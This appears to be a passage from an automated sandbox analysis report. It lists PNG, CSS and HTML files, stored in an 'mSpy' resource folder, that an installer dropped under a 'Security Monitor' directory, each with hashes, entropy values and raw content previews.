Preview:	.PNG........IHDR...Z...6.......au....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\PR\1\img\products_page\is-AOH0P.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	PNG image data, 58 x 60, 8-bit/color RGBA, interlaced
Category:	dropped
Size (bytes):	5507
Entropy (8bit):	7.929272432606936
Encrypted:	false
SSDEEP:	96:LSDZ/I09Da01l+gmkyTt6Hk8nTlzb1sV3wLir9SfPUZ+IK0UAPcWNSB:LSDS0tKg9E05TBbUA+9CGK0xy
MD5:	581AD143944C6620786FE8E8FC09EE1D
SHA1:	E933A895E544CC90F45F3F93E0F28545A780CCBC
SHA-256:	1855774FD5C9C275F57970DDAD469EB71B9841D8C3440128F9351C960A8F0B4E
SHA-512:	072AB07C04E55FE3D1033FFB491EB6F180E40E8691003E46A9EB6CB37857423A2C4704C8683C4DEDFC89D79AB5BE61D2BAA8069245861EBD4865B1C67EBF42E8
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...:...<.....@.....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\PR\1\img\products_page\is-IH94L.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	PNG image data, 66 x 67, 8-bit/color RGBA, interlaced
Category:	dropped
Size (bytes):	7889
Entropy (8bit):	7.956855049886426
Encrypted:	false
SSDEEP:	192:fSDS0tKg9E05TVL0ZW4wNoOfMK98rfXQoEad7vgE:KJXE05105wNl9iPQs7v/
MD5:	5F738BDCCB17BABFD837386300BEF102
SHA1:	41F26EC0399CE58E1550A34C967A876A5F2FC8FB
SHA-256:	07C6155BB34D9BEBF03ECAAD535709B444D156A375F42FED15B26F6414FF63D3
SHA-512:	672E9D39AC2538D2F5CD082BD364E5C554AB0FE0A05A2BBFD4172ABDAA36AB1BCD86CCAACBBE333B85AD3905E25B5E0F0D8355E6290E8340BBE0165FC94C5E57
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...B...C....._.......pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\PR\1\img\products_page\is-M7U1S.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	PNG image data, 58 x 60, 8-bit/color RGBA, interlaced
Category:	dropped
Size (bytes):	6513
Entropy (8bit):	7.938370771306964
Encrypted:	false
SSDEEP:	96:LSDZ/I09Da01l+gmkyTt6Hk8nTQ27DriW08tOW633IfYjzfxKoKg49BM+Uf9C4jc:LSDS0tKg9E05TQ2jX08MQgHx6Sxm3Cg7
MD5:	538614FCC5E9A342D74CFB01246E3755
SHA1:	3496DD97D840823F928213E7E69BB8386EA057DC
SHA-256:	3524B51003AC153E7A40775C3955AA8E3F60AE99F99E514DB60A4BED628C16BC
SHA-512:	A2689D78B11B7C48BABAD5FC97672F6173DFF0DF3C082F6403581FFA45AE7E123BAA93B46DC3495CAD42328959E0EEBA68C70F35E371D175A5E406A9BAFED576
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...:...<.....@.....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\PR\1\img\products_page\is-PO7GF.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	PNG image data, 58 x 60, 8-bit/color RGBA, interlaced
Category:	dropped
Size (bytes):	6329
Entropy (8bit):	7.947037633028336
Encrypted:	false
SSDEEP:	192:LSDS0tKg9E05T58Vi5CX4vwjS9b+2xv+RfO17:+JXE05GIg4ojub+2xvt7
MD5:	03AF571726FE2C2A27BFACE13DE342A6
SHA1:	A350EC8147AE0AD79E8155E7FF62772C9A0AB339
SHA-256:	93C34A8EB0A686EDD27DCEFDAD5AFDDB2005FE27E09EE9880475E35F09A68BCA
SHA-512:	29B0DD9B86A559710262CEA72EF08DDDB9B91621C1BFC21A8E2B5EDDEE7D0EBC73A778B2AF1198903F5EC3EC59891E3EA0B991D3D48FD49938FA047706ABEBBB
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...:...<.....@.....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\PR\1\img\products_page\is-Q3IOQ.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	PNG image data, 58 x 60, 8-bit/color RGBA, interlaced
Category:	dropped
Size (bytes):	5798
Entropy (8bit):	7.935696994639288
Encrypted:	false
SSDEEP:	96:LSDZ/I09Da01l+gmkyTt6Hk8nT4+KjhO/UW3j12FlHdjuxgXZLqKhiz:LSDS0tKg9E05TEjE8aoxdqqXZdEz
MD5:	5503FA64C9D05F3025834D93A81AF764
SHA1:	CD2ABB0DD317BAAB5ED12488B7EF0EB76795F95D
SHA-256:	F4EE63F12CE2753CF71A160F5D7772E998CF5B6DBD4BB27502AE43789D9DA822
SHA-512:	AB205307CEA14D14FA7CCE024244FCF5AAE6DA6F7825058A3061CB88DCDE2579DBB6670516559792B631B2A39E756BF4E81ED63C16C205AFDEFCFCBD42F07245
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...:...<.....@.....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\PR\1\img\products_page\is-TSK4O.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	PNG image data, 122 x 295, 8-bit/color RGBA, interlaced
Category:	dropped
Size (bytes):	29784
Entropy (8bit):	7.980725536896858
Encrypted:	false
SSDEEP:	384:RJXE05H3FyEuuqIMky+JU2JzDvj4Ygzc+Cv23bS5PdnFKo79yBbKafVLgkjPSTjG:z35I4qWNJVzAYkl3G51odZfmjymQ7l
MD5:	4C0A6A977EB10BA6ACB252E1C29141F7
SHA1:	3F5E32E79A7D3DB63C8D0BFF06CE43DF0EC6092F
SHA-256:	91853EDF8E536457D93044FCAA5412807368B6B6C88366E05738F3C8A4D031BC
SHA-512:	6C016AABA1B638EC8B2D22CE0AC4B23F662F9D2A372CA016ED5CFDDD72FAAD1A876600E78EEAB27DDE1FAAB47A43AE7CE805B33C43218240BAAC006DA74E569B
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...z...'......9g.....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\PR\1\img\products_page\logos.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	PNG image data, 122 x 295, 8-bit/color RGBA, interlaced
Category:	dropped
Size (bytes):	29784
Entropy (8bit):	7.980725536896858
Encrypted:	false
SSDEEP:	384:RJXE05H3FyEuuqIMky+JU2JzDvj4Ygzc+Cv23bS5PdnFKo79yBbKafVLgkjPSTjG:z35I4qWNJVzAYkl3G51odZfmjymQ7l
MD5:	4C0A6A977EB10BA6ACB252E1C29141F7
SHA1:	3F5E32E79A7D3DB63C8D0BFF06CE43DF0EC6092F
SHA-256:	91853EDF8E536457D93044FCAA5412807368B6B6C88366E05738F3C8A4D031BC
SHA-512:	6C016AABA1B638EC8B2D22CE0AC4B23F662F9D2A372CA016ED5CFDDD72FAAD1A876600E78EEAB27DDE1FAAB47A43AE7CE805B33C43218240BAAC006DA74E569B
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...z...'......9g.....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\PR\1\is-2EHV5.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	HTML document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	12965
Entropy (8bit):	4.7252821159716
Encrypted:	false
SSDEEP:	384:fosFgDIOR12U81EfXbWtk4VAwvZRlppVLMQ:fos4II2U81EfLWtk4VAwvNpUQ
MD5:	5EC6E79E4BA242B21EBD31F4EF89BEB8
SHA1:	7D0202CC4739CFA0C8459E9347260F8F44DD72BF
SHA-256:	1B7D810D6F1338C3D06A01E067E0F933319048A03CCA73DBEA955400216448A3
SHA-512:	A4426BE8C9850D699EB3674B5A6C78E0E7666DB8BCC44D89FBA7D8D3158DE4E55548628318D13B35D7F8333C3237F1971750F46897448538F8AC7EDD4EFA985B
Malicious:	false
Reputation:	unknown
Preview:	<!DOCTYPE html>..<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">..<head>..<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">..<link rel="stylesheet" type="text/css" href="mSpy/widgets.css" media="all">..<link rel="stylesheet" type="text/css" href="mSpy/jquery-ui-1.css" media="all">..<link rel="stylesheet" type="text/css" href="mSpy/reset.css" media="all">..<link rel="stylesheet" type="text/css" href="mSpy/main.css" media="all">..<link rel="stylesheet" type="text/css" href="mSpy/anythingslider.css" media="all">..<link rel="stylesheet" type="text/css" href="mSpy/jquery.css" media="all">..<link rel="stylesheet" type="text/css" href="mSpy/core-ui-select.css" media="all">..<link rel="stylesheet" type="text/css" href="mSpy/jquery_002.css" media="all">..</head>..<body>.. <div class="std"><div class="wrapper">.. <div class="contentZone buyNowSection">.. <div class="product_page_wrap">.. <div class="product_page_top">..

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\PR\1\mSpy\anythingslider.css (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	ASCII text
Category:	dropped
Size (bytes):	9084
Entropy (8bit):	5.065593140327065
Encrypted:	false
SSDEEP:	192:hHkh1vcghAgzaYToWEaRuBMYzwd8Hj5YuMe2Ec:qjkqAgZVSwdYw
MD5:	5F2BED4A85218C1C9C056201259D9477
SHA1:	352547773546BB1D33CB0C2384F7BD97B158C7C7
SHA-256:	FC4B85956CF6A007BEF8A531757A85F15C65937C717D6294B78D24688F36FF0F
SHA-512:	2D9E9A2B2B305B9178179D2A69322EABE394287F1C31A2D40B930C5A249433B1C646118D6EC67495926FE138306291A9C29F4F35004F18D9D5E1FB6267A20405
Malicious:	false
Reputation:	unknown
Preview:	/..AnythingSlider v1.8+ Default theme..By Chris Coyier: http://css-tricks.com..with major improvements by Doug Neiner: http://pixelgraphics.us/..based on work by Remy Sharp: http://jqueryfordesigners.com/./../***************************. SET DEFAULT DIMENSIONS HERE. **************************/./ change the ID & dimensions to match your slider /.#main_slider { ..width: 992px; ..height: 352px;..list-style: none;../ Prevent FOUC (see FAQ page) and keep things readable if javascript is disabled /..overflow-y: auto;..overflow-x: hidden;.}../.caption{..filter:alpha(opacity=0);..-moz-opacity: 0;..opacity: 0;.}/../***************. SET STYLING HERE. ***************. =================================. Default state (no keyboard focus). ==================================/./* Overall Wrapper /..anythingSlider-default {..margin: 0 auto;../ 45px right & left padding for the arrows, 28px @ bottom for navigation /..padding:0;.}./ slider window - top & bottom borders, default

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\PR\1\mSpy\blue-arr-buy.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	PNG image data, 52 x 44, 8-bit/color RGBA, interlaced
Category:	dropped
Size (bytes):	5834
Entropy (8bit):	7.9212427160575425
Encrypted:	false
SSDEEP:	96:PSDZ/I09Da01l+gmkyTt6Hk8nTNNtt/qXgfUmbtKXla2oVvcdWYrIgvPUSxMl:PSDS0tKg9E05TNNtlfUmIXlaZVvcdzIr
MD5:	F3E723BB70B07629C0A18763CD74EBE3
SHA1:	0450CC4E9FEC6C3FD446E2B3D3E68D03D37933A8
SHA-256:	1216AF29845B020BD410C9A4B0B2B0C6B2D528D5C6DDDA7BBDA0A905B4DDC84D
SHA-512:	0E9B25744201D9C3DFE27BE2497A2B6B769846A77E3CEADAB0A6B916B0F342A8EFC13A0817036883D36E7461276004D3B57CE648B9C4C771656CE6FE8B9FB071
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...4...,.....].......pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\PR\1\mSpy\core-ui-select.css (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	ASCII text
Category:	dropped
Size (bytes):	4266
Entropy (8bit):	4.888037026868242
Encrypted:	false
SSDEEP:	96:FL8hjXF4ZFQF9FN/bIbx/yG2aC98ZehV9KF5Kf5k8gItrGZWFXyLYPBYzzDGt50s:F4xCKHT/bIbty19ee79KF5K68gI/yLsT
MD5:	94AED20EA3D620951F905B410B0058B2
SHA1:	0D4EA80D39F277A92FD4946CFB60EDFDEC72FADD
SHA-256:	4A2DE64E3701F68BE8FE448B569E3E2D36E54EA4AC59C25C91209F657ADD6C89
SHA-512:	FC5C107B7275A54966CC575EFAB496BF8D1BC3048D4ACD8916A62E0FE8B29AEDB4C44DE4513645CD4837ED58EBDF337BC3C9768E427B2DB3CF5D86CE07050649
Malicious:	false
Reputation:	unknown
Preview:	.b-core-ui-select { . margin:10px 0 0 0;. position: relative;. width: 86%;. padding: 6px 10px 6px 12px;. font-size: 12px;. line-height: 18px;. color: #333;. text-shadow: 0 1px 1px rgba(255, 255, 255, 0.75);. cursor: pointer;. background-color: #f3f3f3;. background-image: -ms-linear-gradient(top, #f3f3f3, #fff);. background-image: -webkit-gradient(linear, 0 0, 0 100%, from(#f3f3f3), to(#fff));. background-image: -webkit-linear-gradient(top, #f3f3f3, #fff);. background-image: -o-linear-gradient(top, #f3f3f3, #fff);. background-image: linear-gradient(top, #f3f3f3, #fff);. background-image: -moz-linear-gradient(top, #f3f3f3, #fff);. background-repeat: repeat-x;. border: 1px solid #f1f1f1;. border-radius: 16px;. -webkit-box-shadow:inset 2px 2px 2px 0px rgba(0, 0, 0, 0.4);. box-shadow:inset 2px 2px 2px 0px rgba(0, 0, 0, 0.4);. -webkit-user-select: none;. -moz-user-select: none;. -ms-user-select: none;. -o-user-select:

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\PR\1\mSpy\ic_device1.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	PNG image data, 346 x 54, 8-bit/color RGBA, interlaced
Category:	dropped
Size (bytes):	20030
Entropy (8bit):	7.985863672702684
Encrypted:	false
SSDEEP:	384:KJXE050lAI9uOflF5XFBw+q7hYwPXsUoRGf0wp4vF:K350f95fl1uD7/XuC4vF
MD5:	E01B942B6936DF2AF64EE809086A5334
SHA1:	6601FE8901F8F131CF47352896B01C8DCFD4C963
SHA-256:	E5FEAB5FF923032A51C09F3D61DB2C4AE052CEA6691F034F397207EACC3C2283
SHA-512:	8B21E8B99218F8A0646A418BF3B184A7F8BA1A8061A60383E1EF0BECF85CD07DD68478AD8225A17ED1458DCCC49585B77FF77407F016D95FE57FAD3E8C305BE9
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...Z...6.......au....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\PR\1\mSpy\is-1L74C.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	ASCII text
Category:	dropped
Size (bytes):	222581
Entropy (8bit):	5.08641292920484
Encrypted:	false
SSDEEP:	6144:nml2NjrkK/xiuWs5su3SIM9eCUQqWC5mK7C:nml2NjrkK/xDsu3DM9eCULWC5mK7C
MD5:	B278DC17F1D04A093886C43920057567
SHA1:	25B6F13A20A79632261A7117F55A3F6575EF1A38
SHA-256:	C4FF671620CD870A457D54F926592092B4323ADA8C085ED75CE3705F2DFA11EF
SHA-512:	BE7C6EA7174ED9F1DD6370B6E18C636C36228C75CD25BEA8E1FB87BEB337912F521AEE6F584A873A0C17DCA87A3E2EAE9F4C26A4F154B78E084AE8EB21E6C742
Malicious:	false
Reputation:	unknown
Preview:	@font-face {. font-family: 'TeXGyreHerosRegular';. src: url('../fonts/texgyreheros-regular-webfont.eot');. src: url('../fonts/texgyreheros-regular-webfont.eot?#iefix') format('embedded-opentype'),. url('../fonts/texgyreheros-regular-webfont.woff') format('woff'),. url('../fonts/texgyreheros-regular-webfont.ttf') format('truetype'),. url('../fonts/texgyreheros-regular-webfont.svg#TeXGyreHerosRegular') format('svg');. font-weight: normal;. font-style: normal;.}..@font-face {. font-family: 'TeXGyreHerosItalic';. src: url('../fonts/texgyreheros-italic-webfont.eot');. src: url('../fonts/texgyreheros-italic-webfont.eot?#iefix') format('embedded-opentype'),. url('../fonts/texgyreheros-italic-webfont.woff') format('woff'),. url('../fonts/texgyreheros-italic-webfont.ttf') format('truetype'),. url('../fonts/texgyreheros-italic-webfont.svg#TeXGyreHerosItalic') format('svg');. font-weight: normal;. font-style: normal;..}..@font-face {. font-family

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\PR\1\mSpy\is-A5GBN.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	ASCII text
Category:	dropped
Size (bytes):	9084
Entropy (8bit):	5.065593140327065
Encrypted:	false
SSDEEP:	192:hHkh1vcghAgzaYToWEaRuBMYzwd8Hj5YuMe2Ec:qjkqAgZVSwdYw
MD5:	5F2BED4A85218C1C9C056201259D9477
SHA1:	352547773546BB1D33CB0C2384F7BD97B158C7C7
